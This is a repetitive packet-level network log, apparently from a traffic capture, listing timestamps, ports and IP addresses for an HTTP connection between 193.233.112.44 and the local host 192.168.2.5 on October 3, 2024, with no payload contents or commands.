Oct 3, 2024 23:17:10.050506115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050517082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.050520897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050538063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050542116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.050554991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050563097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.050570965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050584078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.050587893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050595999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.050602913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050611973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.050620079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050630093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.050637960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050642014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.050661087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.050667048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.051188946 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.051207066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.051220894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.051234961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.051237106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.051246881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.051250935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.051263094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.051266909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.051274061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.051291943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.051304102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.065388918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065437078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065452099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065468073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065484047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065498114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065514088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065593004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.065752983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065782070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065798998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065818071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.065831900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065841913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.065849066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065865040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065880060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065880060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.065896988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.065901995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.065912962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.065931082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.065943956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.066111088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.066128016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.066162109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.066179037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120229959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120251894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120277882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120292902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120294094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120311022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120316982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120328903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120340109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120347023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120361090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120369911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120388031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120707989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120731115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120745897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120764017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120784998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120790958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120803118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120820999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120834112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120843887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120851040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120861053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120867014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120871067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120883942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120887995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120901108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120908976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120918036 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120928049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120935917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.120944023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120961905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.120978117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121376038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121400118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121416092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121428013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121432066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121436119 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121450901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121464968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121469021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121474028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121474028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121486902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121500969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121516943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121519089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121526957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121535063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121536970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121553898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121563911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121579885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121603012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121848106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121864080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121879101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121891975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121896029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121897936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121915102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121923923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121932983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121942997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121952057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121957064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121965885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121973991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.121984959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.121994019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.122001886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.122015953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.122020006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.122026920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.122045994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.122061968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.122427940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.122451067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.122526884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.122526884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.138503075 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.138528109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.138544083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.138556957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.138566017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.138586998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.138887882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.138921022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.138935089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.138945103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.138961077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.138964891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.138978004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.138982058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.138993025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.138995886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139013052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139014959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139035940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139043093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139065027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139081955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139106989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139106989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139123917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139130116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139137983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139159918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139471054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139522076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139612913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139630079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139642954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139659882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139659882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139669895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139677048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139683008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139694929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139698029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139717102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139724970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139920950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139938116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139952898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139969110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139969110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139982939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.139986992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.139987946 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140003920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140007973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140014887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140031099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140039921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140048027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140064955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140067101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140079975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140079975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140100956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140117884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140516043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140532017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140547037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140561104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140566111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140578032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140590906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140590906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140604973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140621901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140702009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140718937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140733957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140747070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140749931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140754938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140769958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.140774012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140785933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.140805006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.141248941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.141264915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.141282082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.141297102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.141299009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.141314983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.141318083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.141330004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.141330957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.141354084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.141369104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.141411066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.141427040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.141442060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.141452074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.141458988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.141463995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.141477108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.141478062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.141500950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.141519070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.141911030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.141927004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.141953945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.141964912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.156454086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.156507015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.157454014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.157530069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.222189903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222213984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222230911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222249031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222260952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.222280979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.222306967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.222608089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222625971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222641945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222656965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.222659111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222670078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.222687960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.222696066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.222743034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222760916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222776890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222783089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.222790003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.222810984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.222943068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222959995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222975016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222990990 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.222990990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.222997904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223016024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223021030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223212957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.223229885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.223246098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.223261118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223261118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.223268032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223278999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.223288059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223298073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.223305941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223314047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.223315001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223325968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223351002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223613024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.223635912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.223654032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.223669052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223670006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223684072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223757982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.223774910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.223789930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.223809958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223809958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.223823071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.278692961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.278726101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.278743029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.278758049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.278774023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.278779984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.278805017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.278841019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.278862000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.278878927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.278893948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.278903961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.278911114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.278912067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.278929949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.278929949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.278943062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.278965950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.279366970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.279403925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.279419899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.279431105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.279437065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.279441118 CEST	49710	80	192.168.2.5	193.233.112.44
